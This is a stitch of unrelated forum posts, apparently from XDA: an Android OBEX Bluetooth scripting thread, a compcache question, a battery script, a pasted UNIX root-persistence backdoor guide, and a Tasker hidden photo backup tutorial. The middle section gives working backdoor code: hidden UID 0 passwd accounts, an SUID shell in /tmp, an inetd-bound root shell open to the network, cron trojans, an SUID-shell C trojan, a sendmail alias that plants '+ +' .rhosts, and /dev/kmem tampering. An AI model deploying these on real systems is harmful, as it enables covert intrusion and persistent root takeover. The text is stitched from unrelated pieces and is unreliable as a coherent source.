developing a free (as in free beer) OBEX support for android

Ok, I didn't like to open a new thread about OBEX and android, but, as I explain in this post http://forum.xda-developers.com/showpost.php?p=3932525&postcount=57 , I got OBEX working in my G1, and now I'm thinking about integrating a clean and elegant OBEX support into our ROMS.
Yes, there is already an application in the market for receiving and sending files via OBEX, but I simply don't like to pay for a feature that should be supported by default in every mobile phone.
I was wondering how would be the first approach for integrating the obexserver by default, and it would be really easy executing at boot time something like:
Code:
sdptool add --channel=4 OPUSH
test -d /sdcard/bluetooth_received || mkdir /sdcard/bluetooth_received
cd /sdcard/bluetooth_received && ( while true; do obexserver; done ) &
The only problem, is that disabling bluetooth and enabling it again, it loses the OPUSH service added by sdptool.
So, I'm now trying to find a way to tell the bluetooth daemons that they should add the OPUSH service when they are enabled, and here is where I need your help. Anybody knows how can this be done?
Also, another way would be simply executing a GScript when the OPUSH service is needed.
What do you think?
Thanks!
EDIT: Here is a simple script that enables the OBEX profile and receives 1 file. It is necessary to re-execute it to receive more files.
obex_get.sh:
Code:
#!/system/bin/sh
obex_status=`sdptool browse local 2>&1| egrep "^Service Name: OBEX Object Push|^Failed to connect"`
case "$obex_status" in
Failed*)
# bt disabled
echo "Please, enable bluetooth first!"
exit
;;
"")
# bt enabled, but no OPUSH profile
sdptool add --channel=4 OPUSH
;;
*)
# bt enabled, opush enabled
;;
esac
test -d /sdcard/bluetooth_downloads || mkdir /sdcard/bluetooth_downloads
cd /sdcard/bluetooth_downloads && obexserver
EDIT: Daemonized version of the script. It can be run as service at boot time, and every 3 seconds it will check if the opush profile has been lost.
Code:
#!/system/bin/sh
# create the download directory if it doesn't exist
test -d /sdcard/bluetooth_downloads || mkdir /sdcard/bluetooth_downloads
while sleep 3; do
# get bluetooth status
hcid_status_now="`getprop init.svc.hcid`"
# do nothing if bluetooth is stopped
test "$hcid_status_now" == "stopped" && continue
# if bluetooth is enabled, get opush profile status
obex_status=`sdptool browse local 2>&1| egrep "^Service Name: OBEX Object Push|^Failed to connect"`
case "$obex_status" in
"")
# bt enabled, but no OPUSH profile
sdptool add --channel=4 OPUSH; echo
;;
Failed*)
# bt disabled
#echo "Please, enable bluetooth first!"; echo
continue
;;
*)
# bt enabled, opush enabled
;;
esac
# if obexserver isn't already running, execute it.
pidof obexserver >/dev/null || ( cd /sdcard/bluetooth_downloads && obexserver ) &
done
EDIT: Ok, a definitely better version of the daemon:
Code:
#!/system/bin/sh
# create the download directory if it doesn't exist
test -d /sdcard/bluetooth_downloads || mkdir /sdcard/bluetooth_downloads
# in case /sdcard/bluetooth_downloads already exists, and is not a directory. Exit
test -d /sdcard/bluetooth_downloads || exit
# execute the obexserver loop (for it to be multifile)
( cd /sdcard/bluetooth_downloads && while true; do obexserver; done ) &
# execute the sdptool add OPUSH loop
while sleep 3; do
# get bluetooth status
hcid_status_now="`getprop init.svc.hcid`"
# do nothing if bluetooth is stopped
test "$hcid_status_now" == "stopped" && continue
# if bluetooth is enabled and no obex profile exists, add it
sdptool browse local 2>&1| egrep "^Service Name: OBEX Object Push" >/dev/null || sdptool add --channel=4 OPUSH
done
Still don't like to query the "sdptool browse local" every 3 seconds
Bugs and corrections are welcome.

I am not really sure how the bluetooth stack works, but does the OPUSH profile has its own process or it there someway to detect its presence?
If so we could easily implement some detecting mechanism in the loop body.
Another possibility is to check the error returned by obexserver if it implements any.

im gonna check out the source tree for you, cause i was just looking last night. i will post again as a read into the source a lot more

The obex profile does not have it's own process, sdptool simply enables it in one of the bluez daemons (don't know which of them)
The "problem" here is that obexserver does not get any error when I disable bluetooth, it simply continues waiting for a connection. I'll try to look at the openobex API to see if we can get the bluetooth status or force some error. Sorry, my knowledgement about the bluetooth protocol is quite limited.
The curious thing about this, is that if I execute obexserver, disable bt, re-enable bt, and add the opush profile, without restarting the obexserver it still works.

so maybe this is running on a seperate process? no its entirely own, but maybe a child process? seems kinda weird to me... and its gonna be a while before i can start checking this out along with you, i need to re-download the android repo >.<

As long as you have that script that has to be run every time you want 1 file, would it be possible to do that every, say, 3 seconds in a loop? Maybe even have an obex app where you can press a button to have the script start running the loop and press again to kill the process. I'm thinking something similar to the wifi tether for root users in terms of interface.
EDIT: so something similar to this in terms of scriptage(can't remember the exact syntax for loops)
Code:
while 1
do
#!/system/bin/sh
obex_status=`sdptool browse local 2>&1| egrep "^Service Name: OBEX Object Push|^Failed to connect"`
case "$obex_status" in
Failed*)
# bt disabled
echo "Please, enable bluetooth first!"
exit

# bt enabled, but no OPUSH profile
sdptool add --channel=4 OPUSH

# bt enabled, opush enabled
;;
esac
test -d /sdcard/bluetooth_downloads || mkdir /sdcard/bluetooth_downloads
cd /sdcard/bluetooth_downloads && obexserver
sleep 3;
done;

I think that we shouldn't monitor the obex profile status, but spawn the profile activation when bluetooth gets active. This will be more efficient.
We can monitor the bluetooth status with "getprop init.svc.hcid". This could be used in the script loop, but it would save a lot of work if we simply could (de)activate it when the bluetooth gets enabled or disabled.
I'm looking at /etc/bluez in the G1 and in my linux desktop to see if some file could do the magic.

be patient my friend

Can't you just do this from init with the other daemons?
service hfag /system/bin/sdptool add --channel=10 HFAG
user bluetooth
group bluetooth net_bt_admin
disabled
oneshot
service hsag /system/bin/sdptool add --channel=11 HSAG
user bluetooth
group bluetooth net_bt_admin
disabled
oneshot
...etc

haha, i have no patience man, i'm in the military, and patience is not a virtue to me, i just want to get sh*t done
as far as what you are talking about, i understand what you mean. i'm also looking at the obex source in my linux distro (fedora 10) and kinda pondering if we could write a completely new routine (as a script for now of course) that would only be called when we need it, as in running it at boot and run in the background constantly. that hopefully wouldn't run up the processor tho...
and by the way, i would really like to help in everyway because i always wanted bluetooth file transfer on my G1

Already tried that, but didn't work . Those "services" seem to be requested by the a2dp daemon when it starts, and the a2dp daemon starts and stops when bluetooth is enabled or disabled, so we still would need to get our daemon spawned with all the bluetooth stuff.
Thanks anyways.

BluetoothDeviceService.java does the work, would be trivial to patch this in..
Code:
private final Handler mHandler = new Handler() {
@Override
public void handleMessage(Message msg) {
switch (msg.what) {
case MESSAGE_REGISTER_SDP_RECORDS:
//TODO: Don't assume HSP/HFP is running, don't use sdptool,
if (isEnabled()) {
SystemService.start("hsag");
SystemService.start("hfag");
}
break;
case MESSAGE_FINISH_DISABLE:
finishDisable(msg.arg1 != 0);
break;
}
}
};

Thanks cyanogen, that is what I was looking for.
I wanted to avoid to recompile the android core server, but It seems that we'll have to :-/.

Exactly. Let's add the opush service here...

I'd love to patch it into my next ROM release

I added to the first post a modified version of the script that can be run as a "daemon".
Anyway, the way to implement this seems to be patching BluetoothDeviceService.java.

Can't wait for it

As for sending files, I was thinking about creating a mime handler that could be used with, p.e Filer (http://android.hlidskialf.com/software/filer) so that it could be able to send files via OBEX also.
Any idea?

The more I think about it, the more I feel, that it should be done in ObexServer initialisation (ObexServer.java) ... which should be started from BluetoothDeviceService

here is my question... ok, we have the obex server for receiving files. now as far as sending files, how will that be set up? like will it be a seperate script to run the program, or will it be combined with the obex server?

an idea or two... juan, you mentioned about setting up a mime handler to send files. what it be possible to set up the handler for both receiving and sending files? it could most definitely be accomplished by creating a whole separate APK, and have that register the handles for the system, running as a service in the background. also we could use that for a graphical interface in the long run after we get the basics down pat, and have a file browser for sending files. i know this is jumping the gun, but it is all my ideas i have going on. on that note though, i think it would be the best way, unless you have a better idea
EDIT: now that i think of it, the APK would be best off other wise so we wouldnt have to have everyone who wants file transfer to reflash their whole phone just for a partially modified kernel

I'd rather make part of the framework ready to be accepted by the AOSP than some kind of hack running only on rooted devices. Which brings another question: I was just starting to port the obexserver, when I realized that the OpenOBEX library is licensed under LGPL ... can we use it?

Cyanogen 4.1.6 - Compcache Disabled - Still taking up RAM - How to free?

Hello Everyone,
First, I did search. That is how I figured out how to disable compcache and enable the swap. It's working great, however since I am no longer using compcache, I would like to make available the RAM that it is using. Here are my free commands:
BEFORE:
# free
free
total used free shared buffers
Mem: 97928 96356 1572 0 8164
Swap: 24476 15516 8960

Swap: 31768 3092 28676
Total: 129696 99508 30188
Notice that the Physical Memory is still the same number, despite compcache being disabled (well, atleast swapoff'd) Here is my userinit and you can see that it's just enabling the swap.

QUESTION: Is there any way to re-allocate the compcache section of my physical RAM to be used again? There is that 24476b that I cannot use, as I'm using a swap.
Thanks for your time.

Ok, so where is it taking from? I understood that compcache is a Compression Swap that runs in RAM. Is that incorrect?

[90screenstate_scaling] Battery saving script modified for more configurability

I modified the original rookeemod-oxygen script, so that you can supply limits in array form, eg:
LIMITS=( [10]=384000 [30]=691200 [50]=806400 [75]=998400)
It is attached to this post
First time i used bash, so if it isnt correct, please correct me.
I tested it and it works

Yes it is, but i think that in oxygen clean rom is more important
I find it better than having yet another app boot up at start.

I dunno, I set it to interactive: SLEEP_GOVERNOR="interactive"
.
I just think that interactive in combination with scaling down is just as "power-saving" as ondemand in the end, and it feels faster

permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing.After seeming endless you've managed to steal root. Now what? How do you hold onto this precious super-user
privilege you have worked so hard to achieve....?
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
ways into one.
Beforehand
Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.
The JDevil Overt
[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# [email protected]
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "jdevil::0:0:jdevil:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
NEVER, EVER, change the root password. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
field).
[3] Leave an SUID root shell in /tmp.
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.JDEVIL # Don't name it that...
chmod 4755 /tmp/.JDEVIL
Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
The JDEVIL Veiled
[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
file, etc...
For the insinuation-impaired, try this:
Open the /etc/inetd.conf in an available editor. Find the line that reads:
daytime stream tcp nowait root internal
and change it to:
daytime stream tcp nowait /bin/sh sh -i.
You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
to do this off peak hours).
[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
(1) (2)/(3) (4)
smtp 25/tcp mail
Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
associated with the service. For instance, add this line to /etc/services:
jdevil 22/tcp jdevil
and this line to /etc/inetd.conf:
jdevil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
they offer rentry from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
entry has six fields:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
shady intentions). Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
#!/bin/csh
# Is our jdevil still on the system? Let's make sure he is.
#[email protected]
set JDEVILflag = (`grep jdevil /etc/passwd`)
if($#JDEVILflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "jdevil::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
would be ok. Add this line to root's crontab file:
29 2 * * * /bin/usr/_passwd
make sure this exists:
#echo "root:1234567890123:0:0perator:/:/bin/csh" > /var/spool/mail/.passwd
and this is the simple shell script:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#[email protected]
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/passwd /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
Make sure it runs as root. Name it something innocous. Hide it well.
/* A little trojan to create an SUID root shell, if the proper argument is
given. C code, rather than shell to hide obvious it's effects. */
/* [email protected] */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
"decode: "|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
.rhosts file. For a one liner (not faked, however) do this:
%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail [email protected]
You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
choosing. Many of the previous scripts and methods can be employed here.
The JDEVIL Covert
[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...
Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
The JDEVIL Esoteric
[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The following program does just that.
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by [email protected] */

[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before

There are some small spacing errors in code but you the idea

[Tasker] Hidden Photo Backup! [Also App-idea]

Dear XDA-Members
After some have requested me to post my tasker profile here is a noob friendly walk trough.
This is the first time I make a tutorial like this so any corrections are more then welcome (since English isn't my native language)
I haven't made this fully on my own, some ideas I got from other posts.
So here it goes:
It was hard to find a good trigger for the task to start and I decided to add it to opening/closing of the camera app.
Profiles:
Application -> (Your default photo app (you can add more then one)
Start task:
Variable / Variable set / name = %Camerastart / To %TIMES - 15 //Set a variable so you can later compare which photos are new and which are old
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
2. Task / For / Variable = %File / Items = %Files(1 // For every variable do the next loop
-3. File / Test File / Type = Modified / Data = %File / Store result In = %Filetime / Continue Task After Error = True // Look when the photo was taken (modified)
-4. Task / If / Condition = %Filetime > %Camerastart // Compare the variables to see if the photo is either new or old
--5. File / Copy File / From = %File / To = DCIM/Backup (Location of folder you want to copy the new photos too) / (Use root = true // optional) // If true copy the photo to another map
-6. Task / End If // Self explanatory
7. Task / End for // End the loop
I Hope you guys liked this tutorial and I helped some of you out.
I also uploaded the .txt file, rename it to .xml so you can easily import it to tasker. (This was made with the newest version (4.5u1)
Edit: Forgot to add one thing, add a file named .nomedia to the folder where you place the extra photos (Do this with root explorer or some other that displays hidden items), this will prevent the photos from displaying in the gallery app.
// Old
Dear XDA-Members,
I'm not sure if something like this already exists but after a while of searching I haven't found anything like this.
We probably all had one of those moments in our life that we took a photo of something or someone that we wanted to keep really badly but someone forced us to delete it from the gallery.
So my idea was that after a photo gets taken by the camera app and saved to the default location /sdcard/DCIM/camera (or other place, dependence on the camera app (possibly customizable setting?)) a backup is instantly made to a folder (of choice) that isn't displayed in any gallery. And I know dropbox could instantly sync this to the cloud but this firstly drains my data plan and you can't save it locally and only on the cloud (not talking about the huge amount of battery that is drained).
Maybe it's easier to make a camera app that saves a photo on 2 places (one displayed in the gallery and the other one is saved in a secret folder that you can assign yourself and see with the most file browsers.)
I hope you guys like this idea and maybe someone could work this out if they have the time for it.
tldr; Lightweight app that secretly 'backups' photos to a secret folder that isn't displayed in the gallery app.
Sorry for my English, it isn't my native language.

Wow, I can't believe how powerful tasker actually is.
I managed to make a task for backing up photos made by my standard camera. It took me an hour but it is working now.
If anyone interested in the task send me a pm and I will send the task.

Thanks for the nice words, It is actually pretty easy to add more files to the list of items that are gettings copied.
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
Just edit the "Match = *.jpg" to for instant "Match = *.jpg/*.mp4/*.png".
The / means OR so you can add almost all the file extentions that you want and/or need.
Don't forget the scan will take longer the more items you add.

Thanks for the reply,
After adding mp4 to the list I ran into error, as you can see in the following screenshot.
Actually the remaining photos after the first video file in the folder aren't backed up. but the first video file itself is copied to the destination folder.
Any idea what could be the reason

Try disabling 'use root', i'm not sure why the copying times out though
Could you also show the bottem lines from the error that tasker gives?
